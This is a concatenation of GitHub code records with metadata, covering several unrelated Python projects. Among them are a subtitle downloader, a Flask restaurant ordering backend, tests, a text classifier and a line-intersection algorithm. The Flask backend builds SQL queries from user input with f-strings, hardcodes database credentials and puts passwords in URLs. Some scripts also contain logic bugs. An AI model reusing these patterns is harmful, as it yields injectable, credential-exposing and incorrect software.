window.refresh()\nwindow.close()\n\n\n\n\n","repo_name":"Nachiket497/FirebaseAPK","sub_path":"Code For ClipBoard/fb.py","file_name":"fb.py","file_ext":"py","file_size_in_byte":768,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"47"} +{"seq_id":"10932680323","text":"from decimal import Decimal\nimport os\nimport re\n\nfrom missevan import MissevanAPI\nfrom download import download_text\n\n\nEPISODE_ID_LIST = [\n \"\",\n \"\",\n \"etc.\",\n]\n\napi = MissevanAPI()\n\n\nsubs_re = r'(.*)'\n\n\ndef convert_to_subs(html_file, output_file):\n subs = []\n\n with open(html_file, 'r') as source:\n for l in source.readlines():\n match = re.search(subs_re, l)\n if match:\n timestamp = Decimal(match.group(1))\n timestamp_mod60 = divmod(timestamp, 60)\n subtitle = match.group(2)\n subs.append(\n (timestamp, f\"[{timestamp_mod60[0]}:{int(timestamp_mod60[1]):02}] {subtitle}\")\n )\n\n subs.sort(key=lambda t:t[0])\n \n if subs: \n with open(output_file, 'w') as target:\n target.write(os.linesep.join([s[1] for s in subs]))\n \n \ndef download_subs(episode, name, location):\n output_file = f\"{location}/{name}.xml\"\n print(f\"Downloading {name} (ID: {episode})\")\n\n barrage_url = api.get_barrage_url(episode)\n download_text(barrage_url, output_file)\n\n subs_file = f\"{location}/{name}.txt\"\n convert_to_subs(output_file, subs_file)\n\n\ndef download_drama(episode):\n drama_name = api.get_drama_name(episode)\n print(f\"Downloading {drama_name} (ID: {episode})\")\n print(f\"----------------------------------------\")\n\n output_dir = f\"./{drama_name}\"\n os.makedirs(output_dir, exist_ok=True)\n\n for e in api.get_episodes(episode):\n download_subs(e[\"id\"], e[\"name\"], output_dir)\n\n print(\"\")\n print(f\"{drama_name}: Download complete.\")\n print(\"\")\n\n\nprint(\"===Missevan subs downloader===\")\nprint(\"\")\n\nfor episode in EPISODE_ID_LIST:\n download_drama(episode)\n print(api.get_drama_name(episode))\n","repo_name":"daammei-lougung/danmei-audio-downloader","sub_path":"subs.py","file_name":"subs.py","file_ext":"py","file_size_in_byte":1953,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"19333630960","text":"def gcd(a,b):\n\twhile b != 0:\n\t\ta, b = b, a % b\n\treturn a\n\ndef totient(n):\n\tcount = 0\n\tfor i in xrange(1,n+1):\n\t\tif gcd(n,i) == 1:\n\t\t\tcount += 1\n\treturn count\n\nlargest = 0\nfor i in xrange(1,10**4):\n\tx = float(i)/totient(i)\n\tif x > largest:\n\t\tlargest = x\n\t\tprint(i,largest)","repo_name":"AntonJansen96/projectEuler","sub_path":"51-100/69.py","file_name":"69.py","file_ext":"py","file_size_in_byte":271,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"31153469585","text":"from flask import Flask, request, redirect, url_for\nfrom flask_sqlalchemy import SQLAlchemy\nfrom flask import render_template\nimport datetime\nimport pyodbc\nimport random\nimport matplotlib.pyplot as plt\n\n\napp = Flask(__name__)\n\nconn = pyodbc.connect('DRIVER={SQL Server};SERVER=localhost;DATABASE=Onlineordersys;UID=sa;PWD=1234')\ncursor = conn.cursor()\n\napp.config[\"SQLALCHEMY_DATABASE_URI\"] = 'mssql+pymssql://sa:1234@localhost:1433/Onlineordersys'\n\ndb = SQLAlchemy(app)\n\ndef cleanup(session): \n session.close() \n\n# 繪製營收分析圖 \ndef painting(sql):\n A = db.engine.execute(sql)\n Meterial = A.fetchall() # 餐點名稱/類型名稱、總金額\n \n x, y = zip(*Meterial)\n \n plt.rcParams['font.sans-serif'] = ['Microsoft JhengHei']\n\n plt.figure(figsize=(10, 8))\n \n # 折線圖\n plt.bar(x, y)\n \n plt.title('銷售類型比較圖') #標題 \n plt.ylabel('營業額') # y軸\n plt.xlabel('品名') # x軸\n\n # 下載圖表 \n plt.savefig('C:/Users/DYH/Desktop/OnlineOrderSystem/OnlineOrderSystem/static/images/compare.png') # 不同路徑時需更改\n return Meterial # 為了提供營收分析頁面渲染名稱、總金額\n\n# 確認帳密是否存在於資料庫\ndef tryAccount(account, pwd):\n try:\n sql = f\"select count(*) from staff where Email = '{account}' and PW = '{pwd}'\"\n result = db.engine.execute(sql).scalar()\n except:\n return render_template(\"flaskLoginError.html\")\n return result \n \n# 識別碼亂數用 \ndata = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890'\n \n@app.route('/', methods=['GET', 'POST'])\ndef login():\n #POST\n if request.method == 'POST':\n account = request.form[\"account\"] # 取得輸入的帳號\n pwd = request.form[\"pwd\"] # 密碼\n result = tryAccount(account, pwd) # 判斷帳密是否存在\n # 登入失敗：渲染登入失敗頁面\n if result is None or result == 0:\n return render_template(\"flaskLoginError.html\")\n \n # 登入成功：判斷階級\n try:\n sql = f\"select personnel from staff where Email = '{account}'\"\n cursor.execute(sql)\n personnel = cursor.fetchone()[0] # 取得此帳密的階級\n except Exception as err:\n raise err\n # 如果是老闆則導向修改菜單\n if (personnel == 'Boss'):\n return redirect(url_for('modifyMenu', thisAccount=account, thispwd=pwd))\n \n # 如果是員工則導向新增訂單\n elif personnel == 'Staff':\n return redirect(url_for('createOrder', thisAccount=account, thispwd=pwd))\n \n #GET，渲染登入頁面\n return render_template(\"flaskLogin.html\")\n\n# 為了不讓他人能夠輕易輸入「點餐系統網址/createOrder」就能進入我們的頁面，所以在網址添加帳密確保最低的安全性\n@app.route('/createOrder//', methods=['GET', 'POST'])\ndef createOrder(thisAccount, thispwd):\n # 判斷帳密是否存在\n result = tryAccount(thisAccount, thispwd)\n # 不存在：渲染登入失敗頁面\n if result is None or result == 0:\n return render_template(\"flaskLoginError.html\")\n # 存在：\n # POST\n if request.method == 'POST':\n tableID = int(request.values['tableID']) # 取得桌號\n orderTime = (datetime.datetime.now()) # 訂單產生時間\n orderTimeStr = orderTime.strftime(\"%Y-%m-%d %H:%M:%S\")\n token = '' # 識別碼\n for i in range(10):\n temp = random.choices(random.sample(data, 12))\n token += ''.join(temp) \n try:\n sql = (f\"execute InsertOrderMeterial '{orderTimeStr}', {tableID}, '{token}'\") # 新增訂單，insert產生時間、桌號、識別碼\n cursor.execute(sql)\n conn.commit() \n except Exception as err:\n raise err\n try: \n sql = \"execute SelectOrderInfo\" # 找訂單編號以及對應的識別碼\n orderInfo = db.engine.execute(sql) \n except Exception as err:\n raise err\n finally: \n cleanup(db.session)\n # 將桌號、訂單編號、識別碼、帳密(用於判斷接下來的route一樣能不被輕易進入)傳送的創建QRcode頁面進行渲染\n return render_template(\"flaskCreateQRcode.html\", tableID=tableID, orderInfo=orderInfo, thisAccount=thisAccount, thispwd=thispwd) \n # GET\n try:\n sql = \"select TableID from seat\"\n tables = db.engine.execute(sql) # 取得桌號 \n except Exception as err:\n raise err\n finally:\n cleanup(db.session)\n \n tables = list(tables)\n \n # 渲染新增訂單頁面\n return render_template(\"flaskCreateOrder.html\", **locals())\n conn.close()\n \n@app.route('/orderDetail//', methods=['GET', 'POST'])\ndef orderDetail(thisAccount, thispwd):\n # 判斷帳密是否存在\n result = tryAccount(thisAccount, thispwd)\n # 不存在：渲染登入失敗頁面\n if result is None or result == 0:\n return render_template(\"flaskLoginError.html\")\n # 存在：\n # GET\n try:\n sql = \"select OrderNum, tableID from OrderMeterial where PayTime is null\"\n orderNum = db.engine.execute(sql) # 訂單編號\n sql = \"execute SelectOrderDetail\"\n detail = db.engine.execute(sql) # 尚未付費的訂單明細，訂單編號、餐點名稱、數量 \n except Exception as err:\n raise err\n finally:\n cleanup(db.session)\n \n orderNum = list(orderNum) \n detail = list(detail) \n # 渲染尚未付費的訂單明細頁面，即廚師觀看的頁面\n return render_template(\"flaskOrderDetail.html\", **locals())\n conn.close()\n\n \n@app.route('/getCheck//', methods=['GET', 'POST'])\ndef getCheck(thisAccount, thispwd):\n # 判斷帳密是否存在\n result = tryAccount(thisAccount, thispwd)\n # 不存在：渲染登入失敗頁面\n if result is None or result == 0:\n return render_template(\"flaskLoginError.html\")\n # 存在：\n # POST\n if request.method == 'POST':\n payTime = (datetime.datetime.now()) # 付費時間\n payTimeStr = payTime.strftime(\"%Y-%m-%d %H:%M:%S\")\n orderNum = int(request.values['checkNum']) # 訂單編號\n try:\n sql = (f\"execute UpdatePayTime {orderNum}, '{payTimeStr}'\") # 更新此訂單編號的訂單時間\n cursor.execute(sql)\n conn.commit()\n except Exception as err:\n raise err\n finally: \n cleanup(db.session)\n # GET \n try:\n sql = \"execute SelectOrder\"\n orders = db.engine.execute(sql) # 尚未付費的訂單編號、訂單產生時間、桌號、總金額 \n except Exception as err:\n raise err\n finally:\n cleanup(db.session)\n \n orders = list(orders)\n # 渲染結帳頁面 \n return render_template(\"flaskGetCheck.html\", **locals())\n conn.close()\n\n@app.route('/modifyMenu//', methods=['GET', 'POST'])\ndef modifyMenu(thisAccount, thispwd):\n # 判斷帳密是否存在\n result = tryAccount(thisAccount, thispwd)\n # 不存在：渲染登入失敗頁面\n if result is None or result == 0:\n return render_template(\"flaskLoginError.html\")\n # 存在：\n # POST\n if request.method == 'POST':\n originalName = request.values['originalName'] # 修改前的餐點名稱\n modifyName = request.values['modifyName'] # 修改後的餐點名稱\n modifyPrice = int(request.values['modifyPrice']) # 修改後的價格\n try:\n sql = (f\"execute UpdateMenu '{originalName}', '{modifyName}','{modifyPrice}'\") # 更新菜單資料表中的餐點名稱、價格\n cursor.execute(sql) \n except:\n return render_template(\"flaskInsertError.html\", **locals())\n finally: \n conn.commit()\n cleanup(db.session)\n # GET\n try:\n sql = \"execute SelectDishType\"\n DishType = db.engine.execute(sql) # 餐點類型\n sql = \"execute SelectMenu\"\n menu = db.engine.execute(sql) # 菜單：餐點名稱、價格、餐點類型名稱\n sql = \"execute SelectMenuPlus\"\n choose = db.engine.execute(sql) # 主食內的選擇 \n except Exception as err:\n raise err\n finally:\n cleanup(db.session)\n \n DishType = list(DishType) \n menu = list(menu)\n choose = list(choose)\n # 渲染修改菜單頁面 \n return render_template(\"flaskModifyMenu.html\", **locals())\n conn.close()\n \n@app.route('/insertMenu//', methods=['GET', 'POST'])\ndef insertMenu(thisAccount, thispwd):\n # 判斷帳密是否存在\n result = tryAccount(thisAccount, thispwd)\n # ��存在：渲染登入失敗頁面\n if result is None or result == 0:\n return render_template(\"flaskLoginError.html\")\n # 存在：\n # POST\n if request.method == 'POST':\n insertName = request.values['insertName'] # 新增的餐點名稱\n insertPrice = request.values['insertPrice'] # 新增的價格\n typeID = int(request.values['typeID']) # 此餐點的類型\n try:\n sql = (f\"execute InsertMenu '{insertName}', '{insertPrice}','{typeID}'\") # 新增進菜單資料表\n cursor.execute(sql) \n except:\n return render_template(\"flaskInsertError.html\", **locals())\n finally:\n conn.commit() \n cleanup(db.session)\n # GET\n try:\n sql = \"select * from MenuType ORDER BY TypeID\"\n DishType = db.engine.execute(sql) # 所有類型\n sql = \"execute SelectMenuPlus\"\n choose = db.engine.execute(sql) # 可用配對名稱\n except Exception as err:\n raise err\n finally:\n cleanup(db.session)\n \n DishType = list(DishType)\n choose = list(choose)\n # 渲染新增菜單頁面 \n return render_template(\"flaskInsertMenu.html\", **locals()) \n\n@app.route('/analyze//', methods=['GET', 'POST'])\ndef analyze(thisAccount, thispwd):\n # 判斷帳密是否存在\n result = tryAccount(thisAccount, thispwd)\n # 不存在：渲染登入失敗頁面\n if result is None or result == 0:\n return render_template(\"flaskLoginError.html\")\n # 存在：\n # POST\n if request.method == 'POST':\n T = \"\"\n Y = request.values['year'] # 輸入的年\n M = request.values['month'] # 月\n D = request.values['day'] # 日\n \n # 只輸入年\n if (M == \"\" and D == \"\"):\n try:\n sql = f\"Execute calRevenue {Y}\"\n Meterial = painting(sql) \n except:\n return render_template('flaskAnalyzeError.html', **locals())\n # 只輸入年、月\n elif (D == \"\"):\n try:\n sql = f\"Execute calRevenue {Y}, {M} \"\n Meterial = painting(sql) \n except:\n return render_template('flaskAnalyzeError.html', **locals())\n # 只輸入年、日則渲染輸入錯誤頁面\n elif (M == \"\" and D != \"\"):\n return render_template('flaskAnalyzeError.html', **locals())\n # 輸入年、月、日\n else: \n try:\n sql = f\"Execute calRevenue {Y}, {M}, {D} \"\n Meterial = painting(sql)\n except:\n return render_template('flaskAnalyzeError.html', **locals()) \n \n # 將查詢到的訂單資料傳給營收分析頁面進行渲染\n return render_template('flaskAnalyzeResult.html', **locals()) \n # 渲染輸入年、月、日的頁面 \n return render_template(\"flaskAnalyze.html\", **locals())\n\n@app.route('/analyzeDetail//')\ndef analyzeDetail(thisAccount, thispwd):\n # 判斷帳密是否存在\n result = tryAccount(thisAccount, thispwd)\n # 不存在：渲染登入失敗頁面\n if result is None or result == 0:\n return render_template(\"flaskLoginError.html\")\n # 存在：\n # GET\n T = request.args.get('type') # 餐點類型\n Y = request.args.get('year') # 年\n M = request.args.get('month') # 月\n D = request.args.get('day') # 日\n \n # 只輸入年\n if (M == \"\" and D == \"\"):\n try:\n sql = f\"Execute calRevenueDetail {T}, {Y}\"\n Meterial = painting(sql) \n except:\n return render_template('flaskAnalyzeError.html')\n # 只輸入年、月\n elif (D == \"\"):\n try:\n sql = f\"Execute calRevenueDetail {T}, {Y}, {M} \"\n Meterial = painting(sql) \n except:\n return render_template('flaskAnalyzeError.html')\n # 只輸入年、日則渲染輸入錯誤頁面\n elif (M == \"\" and D != \"\"):\n return render_template('flaskAnalyzeError.html')\n # 輸入年、月、日\n else: \n try:\n Meterial = painting(sql)\n sql = f\"Execute calRevenueDetail {T}, {Y}, {M}, {D}\" \n except:\n return render_template('flaskAnalyzeError.html') \n # 將查詢到的訂單資料傳給營收分析頁面進行渲染\n return render_template('flaskAnalyzeResult.html', **locals()) \n\n \nif __name__ == \"__main__\":\n # 跟前台使用的port進行區隔\n app.run(port=\"50001\")","repo_name":"z36625481/OnlineOrderSystem","sub_path":"backEnd.py","file_name":"backEnd.py","file_ext":"py","file_size_in_byte":13840,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"5133720825","text":"import io\nimport logging\nfrom unittest import TestCase\nfrom flask_helpers.ErrorHandler import ErrorHandler\nfrom flask import Response\nfrom python_cowbull_server import app\n\n\nclass TestErrorHandler(TestCase):\n def setUp(self):\n self.error_handler = ErrorHandler(\n module=\"TestErrorHandler\",\n method=\"setUp\"\n )\n self.app = app.test_client()\n if app.config[\"PYTHON_VERSION_MAJOR\"] < 3:\n self.logging_type = io.BytesIO\n else:\n self.logging_type = io.StringIO\n\n self.logger = self.error_handler.logger\n self.lhStdout = self.logger.handlers[0]\n\n self.current_log_level = self.logger.getEffectiveLevel()\n self.log_capture = self.logging_type()\n self.sh = logging.StreamHandler(stream=self.log_capture)\n\n self.logger.setLevel(logging.INFO)\n self.logger.addHandler(hdlr=self.sh)\n self.logger.removeHandler(self.lhStdout)\n\n def tearDown(self):\n self.logger.addHandler(self.lhStdout)\n self.logger.removeHandler(self.sh)\n self.logger.setLevel(self.current_log_level)\n\n def test_eh_instantiation(self):\n eh = ErrorHandler(module=\"test_module\", method=\"test_method\")\n self.assertIsInstance(eh, ErrorHandler)\n self.assertEqual(eh.module, \"test_module\")\n self.assertEqual(eh.method, \"test_method\")\n\n def test_eh_get_logger(self):\n logger = self.error_handler.logger\n self.assertIsInstance(logger, logging.RootLogger)\n\n def test_eh_error(self):\n self.error_handler.method = \"test_eh_error\"\n result = self.error_handler.error(\n status=400,\n exception=\"This is an exception for test purposes only\",\n message=\"This is a message for test purposes only\"\n )\n self.assertIsInstance(result, Response)\n self.assertEqual(result.status_code, 400)\n\n def test_eh_logging_info(self):\n self.error_handler.method=\"test_eh_logging_info\"\n test_message = \"This is a test message for logging\"\n eval_message = \"{}: {}: {}\\n\".format(\n self.error_handler.module,\n self.error_handler.method,\n test_message\n )\n self.error_handler.logger.setLevel(logging.INFO)\n self.error_handler.log(logger=logging.info, message=test_message)\n logged_output = self.log_capture.getvalue()\n self.assertEqual(logged_output, eval_message)\n\n def test_eh_logging_debug(self):\n self.error_handler.method=\"test_eh_logging_debug\"\n test_message = \"This is a debug message for logging\"\n eval_message = \"{}: {}: {}\\n\".format(\n self.error_handler.module,\n self.error_handler.method,\n test_message\n )\n self.error_handler.logger.setLevel(logging.DEBUG)\n self.error_handler.log(logger=logging.debug, message=test_message)\n logged_output = self.log_capture.getvalue()\n self.assertEqual(logged_output, eval_message)\n","repo_name":"davidjsanders/python_cowbull_server","sub_path":"systests/TestErrorHandler.py","file_name":"TestErrorHandler.py","file_ext":"py","file_size_in_byte":3005,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"72857508304","text":"from django.shortcuts import get_object_or_404\nfrom books.models import Book\n\n\ndef cart_contents(request):\n\n cart = request.session.get('cart', {})\n \n cart_items = []\n total = 0\n book_count = 0\n for id, quantity in cart.items():\n book = get_object_or_404(Book, pk=id)\n total += book.price\n book_count += quantity\n cart_items.append({'id':id, 'quantity': quantity, 'book': book})\n \n return { 'cart_items': cart_items, 'total': total, 'book_count': book_count }\n ","repo_name":"Domehead123/online-bookstore","sub_path":"cart/contexts.py","file_name":"contexts.py","file_ext":"py","file_size_in_byte":564,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"34915429205","text":"import sys\nimport os\nfrom PyQt5.QtCore import *\nfrom PyQt5.QtGui import *\nfrom PyQt5.QtWidgets import *\nfrom sync import Synchronizer\n\nclass MainWindow(QMainWindow):\n def __init__(self):\n super().__init__()\n\n # Set up the UI\n self.setWindowTitle(\"Repository Synchronizer\")\n self.setGeometry(100, 100, 600, 400)\n\n # Source directory label and input box\n self.src_label = QLabel(\"Source Directory:\", self)\n self.src_label.move(10, 10)\n self.src_input = QLineEdit(self)\n self.src_input.setGeometry(10, 30, 400, 30)\n\n # Destination directory label and input box\n self.dest_label = QLabel(\"Destination Directory:\", self)\n self.dest_label.move(10, 70)\n self.dest_input = QLineEdit(self)\n self.dest_input.setGeometry(10, 90, 400, 30)\n\n # Filter extension label and input box\n self.filter_label = QLabel(\"Filter by Extension (comma-separated):\", self)\n self.filter_label.move(10, 130)\n self.filter_input = QLineEdit(self)\n self.filter_input.setGeometry(10, 150, 400, 30)\n\n # Dropbox API access token label and input box\n self.token_label = QLabel(\"Dropbox API Access Token:\", self)\n self.token_label.move(10, 190)\n self.token_input = QLineEdit(self)\n self.token_input.setGeometry(10, 210, 400, 30)\n\n # Start/Stop button\n self.start_button = QPushButton(\"Start\", self)\n self.start_button.setGeometry(10, 250, 100, 30)\n self.start_button.clicked.connect(self.start_synchronizer)\n self.stop_button = QPushButton(\"Stop\", self)\n self.stop_button.setGeometry(120, 250, 100, 30)\n self.stop_button.clicked.connect(self.stop_synchronizer)\n self.stop_button.setEnabled(False)\n\n # Status label\n self.status_label = QLabel(\"Idle\", self)\n self.status_label.setGeometry(10, 290, 200, 30)\n\n # Synchronizer object\n self.synchronizer = None\n\n def start_synchronizer(self):\n src_dir = self.src_input.text()\n dest_dir = self.dest_input.text()\n filter_exts = self.filter_input.text().split(',')\n token = self.token_input.text()\n\n if not os.path.exists(src_dir):\n self.status_label.setText(\"Error: Source directory does not exist.\")\n return\n\n if not token:\n self.status_label.setText(\"Error: No Dropbox API access token provided.\")\n return\n\n self.synchronizer = Synchronizer(src_dir, dest_dir, filter_exts, token)\n self.synchronizer_thread = QThread()\n self.synchronizer.moveToThread(self.synchronizer_thread)\n self.synchronizer_thread.started.connect(self.synchronizer.start)\n self.synchronizer.finished.connect(self.synchronizer_thread.quit)\n self.synchronizer.finished.connect(self.synchronizer.deleteLater)\n self.synchronizer_thread.finished.connect(self.synchronizer_thread.deleteLater)\n self.synchronizer_thread.start()\n\n self.start_button.setEnabled(False)\n self.stop_button.setEnabled(True)\n self.status_label.setText(\"Synchronizing...\")\n\n def stop_synchronizer(self):\n if self.synchronizer:\n self.synchronizer.stop()\n self.start_button.setEnabled(True)\n self.stop_button.setEnabled(False)\n self.status\n","repo_name":"Biyesha99/Repository-Directory-Synchronizer","sub_path":"Repository-Directory Synchronizer/front.py","file_name":"front.py","file_ext":"py","file_size_in_byte":3364,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"25384073178","text":"import json\nimport os\n\nfrom task_app.task import Task\n\nfrom .storage import TaskStorage\n\n\nclass FileTaskStorage(TaskStorage):\n \"File Task Storage class. Saving and loading files from JSON\"\n\n def __init__(self, path: str) -> None:\n super().__init__(path)\n self._path = path\n\n # try to create file\n try:\n with open(path, \"x\"):\n pass\n except FileExistsError:\n pass\n\n if os.path.getsize(path) != 0:\n with open(path, \"r+\") as file:\n self.tasks = self._deserialize(json.load(file))\n else:\n self.tasks = []\n\n def save_task(self, task: Task) -> None:\n task.id = self.tasks[-1].id + 1 if self.tasks else 0\n self.tasks.append(task)\n\n def update_task(self, task: Task) -> None:\n for index, t in enumerate(self.tasks):\n if t.id == task.id:\n self.tasks[index] = task\n\n def get_all(self) -> list[Task]:\n return self.tasks\n\n def get_task(self, id: int) -> Task:\n ...\n\n def delete_task(self, task: Task) -> None:\n for t in self.tasks:\n if t.id == task.id:\n self.tasks.remove(t)\n\n def close(self) -> None:\n with open(self._path, \"w\") as file:\n file.write(json.dumps(self._serialize(self.tasks)))\n\n def _deserialize(self, serialized_tasks: dict) -> list[Task]:\n tasks = []\n\n for id, serialized_task in serialized_tasks.items():\n tasks.append(\n Task(\n id=int(id),\n name=serialized_task[\"name\"],\n description=serialized_task[\"description\"],\n completed=serialized_task[\"completed\"],\n )\n )\n\n return tasks\n\n def _serialize(self, tasks: list[Task]) -> dict:\n serialized_tasks = {}\n\n for task in tasks:\n serialized_task = {\n \"name\": task.name,\n \"description\": task.description,\n \"completed\": task.completed,\n }\n\n serialized_tasks[task.id] = serialized_task\n\n return serialized_tasks\n","repo_name":"DanyaIzm/TaskConsoleApp","sub_path":"task_app/storage/file_storage.py","file_name":"file_storage.py","file_ext":"py","file_size_in_byte":2171,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"33712218956","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Simple Bayesian Term Frequency Classifier\n\n \nimport numpy as np\n\nclass BTF:\n \n \"\"\" when you initialize BTF we are starting with an empty world \"\"\"\n \n def __init__(self,training_data):\n self.training_data=training_data\n self.remove=\"\"\"\"0123456789,./?~!@#$%^&*()}{[]\\+=?\n 😂🤔😑😁😍😉♥😒😭😕🤣😆🙄😃😄👊😜😅😫😛😌😊😓👎🏻🤓🤑😎😝🙄😂\"\"\"\n self.st_dists=None\n self.class_dists=None\n \n \n def term_freq(self,list_of_terms): \n \n \"\"\" count term frequencies \"\"\"\n \n tf={}\n for i in list_of_terms:\n if i not in tf:\n tf[i]=1\n else:\n tf[i]+=1\n for i in tf:\n tf[i]/=len(list_of_terms)\n \n {k: v for k, v in sorted(tf.items(), key=lambda item: item[1],reverse=True)}\n \n return tf\n \n def clean_array(self,array):\n \n \"\"\" remove undesireable terms \"\"\"\n \n clean=[]\n for i in array:\n i=str(i)\n i=i.lower()\n for r in self.remove:\n i=i.replace(r,' ')\n clean+=i.split(\" \")\n clean=[i for i in clean if i!=' ' and i!='']\n return clean\n \n def single_term_dists(self,x_label,y_label):\n \n \"\"\" construct tf distributions for each class \"\"\"\n \n dists={}\n self.class_dists={}\n labels=set(self.training_data[y_label])\n for i in labels:\n print(\"Constructing TF Distribution for label:\",i)\n arr=self.training_data[self.training_data[y_label]==i][x_label]\n self.class_dists[i]=len(arr)/len(self.training_data)\n arr=self.clean_array(arr)\n tf=self.term_freq(arr)\n dists[i]=tf\n print(\"Distributions Constructed\")\n self.st_dists=dists\n \n \n def bayes_theorem(self,sample):\n \n \"\"\"first use law of total probability to get prob of single word occuring\n # then multiply those probabilities together to get total prob of sequence of words occuring\"\"\"\n \"\"\" this is the denominator of Bayes rule \"\"\" \n \n denom=1\n for i in sample:\n word_prob=0\n for k in self.st_dists:\n try:\n prob=self.st_dists[k][i]\n except:\n prob=0\n word_prob+=prob*self.class_dists[k]\n if word_prob>0:\n denom*=word_prob\n \n \"\"\" if the sequence of words has an essentially zero prob of occurance\n there is not enough data to classify sample \"\"\"\n if denom==0:\n return 'null'\n \n \"\"\" compute the numerator of Bayes rule \"\"\"\n \"\"\" that is the probability of observing the sequence of words in a given class\n times the probability of a sample being drawn from that class (from class distributions)\"\"\"\n \n scores={}\n for k in self.st_dists:\n scores[k]={}\n tot=1\n for i in sample:\n try:\n prob=self.st_dists[k][i]\n except:\n prob=0\n if prob>0:\n tot*=prob\n tot=tot*self.class_dists[k]/denom\n scores[k]=tot\n return [key for key in scores if scores[key]==min(scores.values())][0]\n \n def single_term_test(self,test_samples_x,test_samples_y):\n num_correct=0\n num_zeros=0\n labels=list(self.class_dists.keys())\n probs=list(self.class_dists.values())\n for i in range(len(test_samples_x)):\n sample=self.clean_array([test_samples_x[i]])\n classification=self.bayes_theorem(sample)\n if classification=='null':\n num_zeros+=1\n classification=np.random.choice(labels,p=probs)\n if classification==test_samples_y[i]:\n num_correct+=1\n print('score',num_correct/len(test_samples_x))\n print(\"null\",num_zeros)\n \n \n \n \n \n\n","repo_name":"SeaHareKingdom/Bayesian_Text_Classifier","sub_path":"BTFC.py","file_name":"BTFC.py","file_ext":"py","file_size_in_byte":4220,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"38746543195","text":"# -*- coding: utf8 -*-\n\n\n\ndef flatten_list(seq):\n \"\"\" Flattens an arbitrarily nested list.\n\n Returns a list\n \"\"\"\n res = []\n for item in seq:\n if (isinstance(item, (tuple, list))):\n res.extend(flatten_list(item))\n else:\n res.append(item)\n return res\n","repo_name":"jdavancens/heave-sway-surge","sub_path":"surge/tools/utilities/flatten_list.py","file_name":"flatten_list.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"28434387851","text":"from AvlTree import AvlBiTree\r\nfrom LineSegment import LineSegment, get_intersection\r\nimport heapq\r\n\r\n\r\nclass Comparator:\r\n def __init__(self, y):\r\n # 走査線の位置\r\n self.y = y\r\n\r\n def set_y(self, y):\r\n self.y = y\r\n\r\n def __call__(self, l1):\r\n a1, b1, c1 = l1.coeffs\r\n # 線分が水平な場合は左の端点を走査線との交点とする\r\n if a1 == 0:\r\n x1 = min(l1.p1, l1.p2)[0]\r\n else:\r\n x1 = -(c1 + b1*self.y)/a1\r\n return x1\r\n\r\n\r\ndef push_intersection_event(line1, line2, event):\r\n # line1とline2が交差しているときに、その交点をeventに追加する関数\r\n intersection = get_intersection(line1, line2)\r\n if intersection is not None:\r\n # 交差する場合は交点イベントを追加\r\n left, right = min(line1, line2), max(line1, line2)\r\n intersect_event = - \\\r\n intersection[1], intersection[0], intersection[1], 'intersection', [\r\n left, right]\r\n heapq.heappush(event, intersect_event)\r\n\r\n\r\n# 線分の端点のうち、y座標が大きいものを始点、小さいものを終点イベントとして追加\r\ncomparator = Comparator(y=None)\r\nstatus = AvlBiTree()\r\nlines = []\r\n\r\nlines.append(LineSegment((0, 0), (1, 1), comparator=comparator))\r\nlines.append(LineSegment((-1.5, 2.5), (2.5, -1.5), comparator=comparator))\r\nlines.append(LineSegment((-1.5, -3.5), (11.5, 9.5), comparator=comparator))\r\n\r\nevent = []\r\nfor line in lines:\r\n start, end = sorted([line.p1, line.p2], key=lambda x: x[1], reverse=True)\r\n # Max heapをheapqモジュールで実現するために、y座標にマイナスをかけた値が先頭\r\n start_event = -start[1], start[0], start[1], 'start', [line]\r\n end_event = -end[1], end[0], end[1], 'end', [line]\r\n heapq.heappush(event, start_event)\r\n heapq.heappush(event, end_event)\r\n\r\n\r\nresult = [] # 交点を格納したリスト\r\ndelta = 0.001\r\nwhile len(event) > 0:\r\n e = heapq.heappop(event)\r\n e_x, e_y, event_type, line = e[1::]\r\n\r\n if event_type == 'start': # 始点イベント\r\n line = line[0]\r\n comparator.set_y(e_y) # 走査線を動かす\r\n status.insert(line)\r\n inserted_node = status.lookup(line) # 挿入された場所のノードを取得\r\n right_line = status.search_higher(inserted_node.key)\r\n left_line = status.search_lower(inserted_node.key)\r\n\r\n for rl_line in [right_line, left_line]:\r\n if rl_line is not None:\r\n push_intersection_event(line, rl_line, event)\r\n\r\n elif event_type == 'end': # 終点イベント\r\n line = line[0]\r\n print(f'Line End: {line}')\r\n removed_line = status.lookup(line).key\r\n right = status.search_higher(removed_line)\r\n left = status.search_lower(removed_line)\r\n\r\n if right is not None and left is not None:\r\n push_intersection_event(right, left, event)\r\n\r\n status.remove(line)\r\n comparator.set_y(e_y)\r\n\r\n elif event_type == 'intersection': # 交点イベント\r\n left, right = line\r\n left_to_left = status.search_lower(left)\r\n right_to_right = status.search_higher(right)\r\n result.append((e_x, e_y))\r\n status.remove(left)\r\n status.remove(right)\r\n\r\n comparator.set_y(e_y)\r\n if left <= right:\r\n # 　線分の左右が入れ替わらなかった場合は、走査線を少し下げて、左右を入れ替える\r\n comparator.set_y(e_y + delta)\r\n status.insert(left)\r\n status.insert(right)\r\n\r\n if left_to_left is not None:\r\n push_intersection_event(left_to_left, right, event)\r\n if right_to_right is not None:\r\n push_intersection_event(right_to_right, left, event)\r\nprint(result)\r\n","repo_name":"dyedye/Bentley-Ottmann","sub_path":"heimensousa.py","file_name":"heimensousa.py","file_ext":"py","file_size_in_byte":3844,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"37812725984","text":"# 